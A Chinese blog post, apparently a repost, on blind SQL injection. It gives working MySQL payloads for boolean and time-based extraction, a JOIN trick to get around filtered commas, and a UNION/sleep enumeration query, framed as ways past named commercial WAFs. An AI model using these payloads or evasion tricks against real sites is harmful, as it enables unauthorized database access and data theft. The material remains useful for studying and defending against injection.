关于sql注入盲注,谈谈自己的心得

1.没做防御的站点,拿上sqlmap直接怼就行了。

2.做了防御,有的用函数过滤了,有的用了waf(比如安全狗,云锁,华为云waf,360waf,知道创宇盾,护卫神等等)

这些就相当麻烦了,首先要探测出过滤了什么,再去构造sql语句,在本地测试通过后,再一点点完善,最后再去测试目标

举个例子,一个站点过滤了逗号,和单引号,且数据库编码不是GB系列的,这种就不太好操作,个人手工测试,可以猜解出user(),database(),version()这些,但是完全手工也很麻烦,虽然能拿到,但是相当累。这里不用时间盲注的原因是因为,时间盲注本身,直接查询数据库是没有延迟的,但是访问某些网页根据你网络的好坏是有一定延迟的,所以这就很麻烦。

绕过逗号可以用join

语句

select * from (select group_concat(distinct(table_schema)) from information_schema.tables ) a join (select 2 ) b;

 

语句

select id,username,password from users where id=1 and (ascii(substring(user() from 2))=111);

 

 这里用户名是root@localhost1,查询切片第二个字符的ascii码111对应是o

如果排除网页响应时间的干扰,是可以用时间盲注的,写个脚本跑一下就好了

又如


select * from users where id=1 and (ascii(substring(database() from 1))=115) and  (select sleep(2));

 

 如果数据不存在则会,延迟两秒返回,存在的会秒回

这里也尝试用联合查询,但是限制有点大

这里是用联合查询爆破表名

UNION select case when ascii(substring((select group_concat(distinct(table_schema)) from information_schema.tables) from 1 for 1))=123 then sleep(3) else 0 end;

 这里有一个条件语句,如果结果存在则会执行睡眠3秒的操作。但是只能用于联合语句,对于过滤了UNION的就无效了

 
原文地址:https://www.cnblogs.com/mke2fs/p/11480423.html